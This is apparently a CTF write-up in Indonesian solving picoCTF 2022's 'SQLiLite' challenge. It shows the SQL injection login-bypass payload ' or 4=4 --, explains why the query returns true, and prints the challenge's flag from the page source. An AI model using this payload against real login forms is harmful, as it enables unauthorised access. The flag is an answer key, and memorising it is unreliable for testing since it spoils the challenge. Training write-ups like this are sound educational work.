

SQLiLite

Medium

Web Exploitation

picoCTF 2022

sql

AUTHOR: MUBARAK MIKAIL

Description

Can you login to this website?
Try to login [here](#).

debug info: {u:834257 e: p: c:304 i:294876}

This challenge launches an instance on demand.

Its current status is: **RUNNING**

Instance Time Remaining: **6 : 25**

Restart Instance

Hints

1

26,678 users solved

93% Liked

picoCTF{FLAG}

Submit Flag

saya coba memasukkan username dan password ngasal

Log In

Username:

admin

Password:

.....

Login

dan ternyata salah

```
username: admin
password: password
SQL query: SELECT * FROM users WHERE name='admin' AND password='password'
```

Login failed.

disini ada petunjuk di SQL query: `SELECT * FROM users WHERE name='admin' AND password='password'`

kita akan coba payload ini

A screenshot of a code editor with a dark theme. The top bar shows four tabs: 's.txt', 's.txt', 'a.png.php', and 'untitled'. The first tab is active. The editor shows a single line of code: `1 ' or 4=4 --`. The line number '1' is in the left margin.

explanation:

Misalnya ada SQL query login seperti ini:

```
SELECT * FROM users WHERE username = 'admin' AND password = '[INPUT]'
```

Jika kita isi [INPUT] dengan:

`' or 4=4 --`

Maka query menjadi:

```
SELECT * FROM users WHERE username = 'admin' AND password = "' OR 4=4 --'
```

Efeknya:

`password = "` → salah

`OR 4=4` → selalu benar

`--` → mengabaikan sisa query (komentar)

Jadi query berubah menjadi:

```
... WHERE username = 'admin' AND (FALSE OR TRUE)
```

Hasilnya: Login tetap berhasil meskipun password-nya salah.

Jadi:

`' or 4=4 --` adalah payload SQL Injection klasik untuk bypass login.

Mengeksploitasi aplikasi yang tidak memfilter input user dengan benar.

Sangat berbahaya jika input langsung dimasukkan ke query tanpa validasi atau parameterisasi.

berhasil

```
username: admin
password: ' or 4=4 --
SQL query: SELECT * FROM users WHERE name='admin' AND password='' or 4=4 -- '
```

Logged in! But can you see the flag, it is in plainsight.

lalu tekan ctrl u untuk liat page source

```
1 <pre>username: admin
2 password: &#039; or 4=4 --
3 SQL query: SELECT * FROM users WHERE name=&#039;admin&#039; AND password=&#039;&#039; or 4=4 -- &#039;
4 </pre><h1>Logged in! But can you see the flag, it is in plainsight.</h1><p hidden>Your flag is: picoCTF{L00k5_l1k3_y0u_solv3d_it_d3c660ac}</p>
```

Selesai